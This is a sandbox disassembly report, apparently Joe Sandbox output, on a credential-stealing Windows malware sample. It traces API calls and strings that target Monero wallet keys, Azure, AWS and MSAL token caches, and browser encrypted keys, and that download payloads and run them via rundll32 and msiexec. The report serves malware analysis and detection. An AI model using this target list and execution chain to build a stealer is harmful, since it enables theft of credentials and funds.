Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$0$?
API String ID: 3246050789-3244362230
Opcode ID: 5482b117ba971a5fe6960481aae44b88e212097db4c87186bcbd3cc8cdf52b28
Instruction ID: 9c32f5e7279287270ba018ac0ffe60d3af933d6499adf44ec90691c61c5bea9d
Opcode Fuzzy Hash: 5482b117ba971a5fe6960481aae44b88e212097db4c87186bcbd3cc8cdf52b28
Instruction Fuzzy Hash: 92813F71921118ABDB64DF54CC95FEEB7B8BF48710F00C298E10AA6180DF706B99CF95

Function 0026C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00E2D558,00000000,?,0028144C,00000000,?,?), ref: 0026CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0026CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0026CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0026CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0026CAD9
StrStrA.SHLWAPI(?,00E2D3C0,00280B52), ref: 0026CAF7
StrStrA.SHLWAPI(00000000,00E2D3F0), ref: 0026CB1E
StrStrA.SHLWAPI(?,00E2DBF0,00000000,?,00281458,00000000,?,00000000,00000000,?,00E29030,00000000,?,00281454,00000000,?), ref: 0026CCA2
StrStrA.SHLWAPI(00000000,00E2DCF0), ref: 0026CCB9

Part of subcall function 0026C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0026C871
Part of subcall function 0026C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0026C87C

StrStrA.SHLWAPI(?,00E2DCF0,00000000,?,0028145C,00000000,?,00000000,00E29040), ref: 0026CD5A
StrStrA.SHLWAPI(00000000,00E28EF0), ref: 0026CD71

Part of subcall function 0026C820: lstrcat.KERNEL32(?,00280B46), ref: 0026C943
Part of subcall function 0026C820: lstrcat.KERNEL32(?,00280B47), ref: 0026C957
Part of subcall function 0026C820: lstrcat.KERNEL32(?,00280B4E), ref: 0026C978

lstrlen.KERNEL32(00000000), ref: 0026CE44
CloseHandle.KERNEL32(00000000), ref: 0026CE9C

Strings

, xrefs: 0026C9C6

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: ed9cacaeb2e15ad84cbb0262a1abe6bf88f481fa18329a71b89d3a8a96f11aa7
Instruction ID: 3996998d872b7752b93f8256e107c9efc68cb36b3d4e03083262984ace69286f
Opcode Fuzzy Hash: ed9cacaeb2e15ad84cbb0262a1abe6bf88f481fa18329a71b89d3a8a96f11aa7
Instruction Fuzzy Hash: C2E12171C20108ABDB15EBA0DC96FEFB778AF54310F408169F11A67191DF306A6ACF66

Function 00274D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00278DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00278E0B

lstrcat.KERNEL32(?,00000000), ref: 00274DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00274DCD

Part of subcall function 00274910: wsprintfA.USER32 ref: 0027492C
Part of subcall function 00274910: FindFirstFileA.KERNEL32(?,?), ref: 00274943

lstrcat.KERNEL32(?,00000000), ref: 00274E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00274E59

Part of subcall function 00274910: StrCmpCA.SHLWAPI(?,00280FDC), ref: 00274971
Part of subcall function 00274910: StrCmpCA.SHLWAPI(?,00280FE0), ref: 00274987
Part of subcall function 00274910: FindNextFileA.KERNEL32(000000FF,?), ref: 00274B7D
Part of subcall function 00274910: FindClose.KERNEL32(000000FF), ref: 00274B92

lstrcat.KERNEL32(?,00000000), ref: 00274EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00274EE5

Part of subcall function 00274910: wsprintfA.USER32 ref: 002749B0
Part of subcall function 00274910: StrCmpCA.SHLWAPI(?,002808D2), ref: 002749C5
Part of subcall function 00274910: wsprintfA.USER32 ref: 002749E2
Part of subcall function 00274910: PathMatchSpecA.SHLWAPI(?,?), ref: 00274A1E
Part of subcall function 00274910: lstrcat.KERNEL32(?,00E2E928), ref: 00274A4A
Part of subcall function 00274910: lstrcat.KERNEL32(?,00280FF8), ref: 00274A5C
Part of subcall function 00274910: lstrcat.KERNEL32(?,?), ref: 00274A70
Part of subcall function 00274910: lstrcat.KERNEL32(?,00280FFC), ref: 00274A82
Part of subcall function 00274910: lstrcat.KERNEL32(?,?), ref: 00274A96
Part of subcall function 00274910: CopyFileA.KERNEL32(?,?,00000001), ref: 00274AAC
Part of subcall function 00274910: DeleteFileA.KERNEL32(?), ref: 00274B31

Strings

*.*, xrefs: 00274DD8
\.IdentityService\, xrefs: 00274ED9
\.aws\, xrefs: 00274E4D
Azure\.aws, xrefs: 00274E5F
*.*, xrefs: 00274E64
Azure\.IdentityService, xrefs: 00274EEB
msal.cache, xrefs: 00274EF0
Azure\.azure, xrefs: 00274DD3
\.azure\, xrefs: 00274DC1

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 9a0b44be5077e9c8c1a74e773a775fbe2049226bf87315db93d7885c50fd3247
Instruction ID: 78c38a16050306243e005edd545a6b33bb5ba9ca91f59be1ba1aa1b76d7fdb9a
Opcode Fuzzy Hash: 9a0b44be5077e9c8c1a74e773a775fbe2049226bf87315db93d7885c50fd3247
Instruction Fuzzy Hash: 2141B3BA96020866C754F770DC47FED7638AB65700F0084A4B689660C1EEB46BF98B93

Function 00279010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0027906C

Strings

image/jpeg, xrefs: 00279136

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 4309eb041b58246bbac41ad7dcc3acab908fc73593ec17f0e10def634b0ff5a9
Instruction ID: addd97084c62a2a254382f0c56c00686e6fffa660085e1eaace97c07ffc5e628
Opcode Fuzzy Hash: 4309eb041b58246bbac41ad7dcc3acab908fc73593ec17f0e10def634b0ff5a9
Instruction Fuzzy Hash: 07711CB5910208ABDB04EFE4DC89FEEBBB8BF48700F108518F516A7290DB74A954CF65

Function 00272E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

ShellExecuteEx.SHELL32(0000003C), ref: 002731C5
ShellExecuteEx.SHELL32(0000003C), ref: 0027335D
ShellExecuteEx.SHELL32(0000003C), ref: 002734EA

Strings

/passive, xrefs: 0027345B
.msi, xrefs: 00273398
.dll, xrefs: 002731E5
<, xrefs: 00273490
/i ", xrefs: 002733E4
"" , xrefs: 0027309A
C:\Windows\system32\msiexec.exe, xrefs: 002734BF
C:\Windows\system32\rundll32.exe, xrefs: 00273332

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 87b11f1f60800528792c498ffa24e5a1e3f6f79ad9e96cbfa7a21502640d045e
Instruction ID: a74d17646fe323b528c337f976c5d7e88ad9a7535d459a6b048f6ff1da01a2fd
Opcode Fuzzy Hash: 87b11f1f60800528792c498ffa24e5a1e3f6f79ad9e96cbfa7a21502640d045e
Instruction Fuzzy Hash: E6122171820108DADB19FBA0CC92FEEB738AF54310F508169F51B66191EF742B6ACF56

Function 002752C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

Part of subcall function 00266280: InternetOpenA.WININET(00280DFE,00000001,00000000,00000000,00000000), ref: 002662E1
Part of subcall function 00266280: StrCmpCA.SHLWAPI(?,00E2EA78), ref: 00266303
Part of subcall function 00266280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00266335
Part of subcall function 00266280: HttpOpenRequestA.WININET(00000000,GET,?,00E2DE60,00000000,00000000,00400100,00000000), ref: 00266385
Part of subcall function 00266280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 002663BF
Part of subcall function 00266280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002663D1

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00275318
lstrlen.KERNEL32(00000000), ref: 0027532F

Part of subcall function 00278E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00278E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00275364
lstrlen.KERNEL32(00000000), ref: 00275383
lstrlen.KERNEL32(00000000), ref: 002753AE

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Strings

ERROR, xrefs: 0027546F
ERROR, xrefs: 00275432
ERROR, xrefs: 002754A9
ERROR, xrefs: 002753B9
ERROR, xrefs: 0027530A

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: b623ec4e8c720a99d56c4b44151442e8065f0842cfebd46af40cc0c8677e652c
Instruction ID: 027ceb448076e15f7c0a5f252887f9437db1349ac20531d0e2d721b56233bd61
Opcode Fuzzy Hash: b623ec4e8c720a99d56c4b44151442e8065f0842cfebd46af40cc0c8677e652c
Instruction Fuzzy Hash: 8E51FD309301489BCB18FF60CD96AEE7779AF90311F508128F81E5A591EF746B66CF62

Function 002660A0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

Part of subcall function 002647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00264839
Part of subcall function 002647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00264849

InternetOpenA.WININET(00280DF7,00000001,00000000,00000000,00000000), ref: 0026610F
StrCmpCA.SHLWAPI(?,00E2EA78), ref: 00266147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0026618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 002661B3
InternetReadFile.WININET(?,?,00000400,?), ref: 002661DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0026620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00266249
InternetCloseHandle.WININET(?), ref: 00266253
InternetCloseHandle.WININET(00000000), ref: 00266260

Strings

x, xrefs: 00266139

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: x
API String ID: 2507841554-2890206012
Opcode ID: 7f853a4ea06e023a12b822a1156f1322ed8cf2a8e5123276eef8cdf1ce0c861e
Instruction ID: 6341d530ebe21f8e0b3e86a35f38f6b86e457d044b6908c804ddb71067f99073
Opcode Fuzzy Hash: 7f853a4ea06e023a12b822a1156f1322ed8cf2a8e5123276eef8cdf1ce0c861e
Instruction Fuzzy Hash: 9D5194B1920218ABDF20DF50DC59BEE7778FB44701F1080A8B609A71C0DB74AAD5CF95

Function 00274280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00278DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00278E0B

lstrcat.KERNEL32(?,00000000), ref: 002742EC
lstrcat.KERNEL32(?,00E2E4D8), ref: 0027430B
lstrcat.KERNEL32(?,?), ref: 0027431F
lstrcat.KERNEL32(?,00E2D480), ref: 00274333

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 00278D90: GetFileAttributesA.KERNEL32(00000000,?,00261B54,?,?,0028564C,?,?,00280E1F), ref: 00278D9F

Part of subcall function 00269CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00269D39

Part of subcall function 002699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002699EC
Part of subcall function 002699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00269A11
Part of subcall function 002699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00269A31
Part of subcall function 002699C0: ReadFile.KERNEL32(000000FF,?,00000000,0026148F,00000000), ref: 00269A5A
Part of subcall function 002699C0: LocalFree.KERNEL32(0026148F), ref: 00269A90
Part of subcall function 002699C0: CloseHandle.KERNEL32(000000FF), ref: 00269A9A

Part of subcall function 002793C0: GlobalAlloc.KERNEL32(00000000,002743DD,002743DD), ref: 002793D3

StrStrA.SHLWAPI(?,00E2E3B8), ref: 002743F3
GlobalFree.KERNEL32(?), ref: 00274512

Part of subcall function 00269AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N&,00000000,00000000), ref: 00269AEF
Part of subcall function 00269AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00264EEE,00000000,?), ref: 00269B01
Part of subcall function 00269AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N&,00000000,00000000), ref: 00269B2A
Part of subcall function 00269AC0: LocalFree.KERNEL32(?,?,?,?,00264EEE,00000000,?), ref: 00269B3F

lstrcat.KERNEL32(?,00000000), ref: 002744A3
StrCmpCA.SHLWAPI(?,002808D1), ref: 002744C0
lstrcat.KERNEL32(00000000,00000000), ref: 002744D2
lstrcat.KERNEL32(00000000,?), ref: 002744E5
lstrcat.KERNEL32(00000000,00280FB8), ref: 002744F4

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: e756b9e9831fa58f3de83f9a717a5693f33292bf24bffe9ff7440bdd7313bd5f
Instruction ID: d8a3881a1117af263a745c1a3271d586d52758196d37101a12ec48f34abf70ef
Opcode Fuzzy Hash: e756b9e9831fa58f3de83f9a717a5693f33292bf24bffe9ff7440bdd7313bd5f
Instruction Fuzzy Hash: 957136B6910208ABDB54FBB0DC89FEE7779AB88300F048598F60997181DB34DB65CF91

Function 00261310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002612A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002612B4
Part of subcall function 002612A0: RtlAllocateHeap.NTDLL(00000000), ref: 002612BB
Part of subcall function 002612A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 002612D7
Part of subcall function 002612A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 002612F5
Part of subcall function 002612A0: RegCloseKey.ADVAPI32(?), ref: 002612FF

lstrcat.KERNEL32(?,00000000), ref: 0026134F
lstrlen.KERNEL32(?), ref: 0026135C
lstrcat.KERNEL32(?,.keys), ref: 00261377

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

Part of subcall function 00278B60: GetSystemTime.KERNEL32(00280E1A,00E2A610,002805AE,?,?,002613F9,?,0000001A,00280E1A,00000000,?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 00278B86

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00261465

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

Part of subcall function 002699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002699EC
Part of subcall function 002699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00269A11
Part of subcall function 002699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00269A31
Part of subcall function 002699C0: ReadFile.KERNEL32(000000FF,?,00000000,0026148F,00000000), ref: 00269A5A
Part of subcall function 002699C0: LocalFree.KERNEL32(0026148F), ref: 00269A90
Part of subcall function 002699C0: CloseHandle.KERNEL32(000000FF), ref: 00269A9A

DeleteFileA.KERNEL32(00000000), ref: 002614EF

Strings

.keys, xrefs: 0026136B
wallet_path, xrefs: 00261330
\Monero\wallet.keys, xrefs: 0026138D
SOFTWARE\monero-project\monero-core, xrefs: 00261335

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

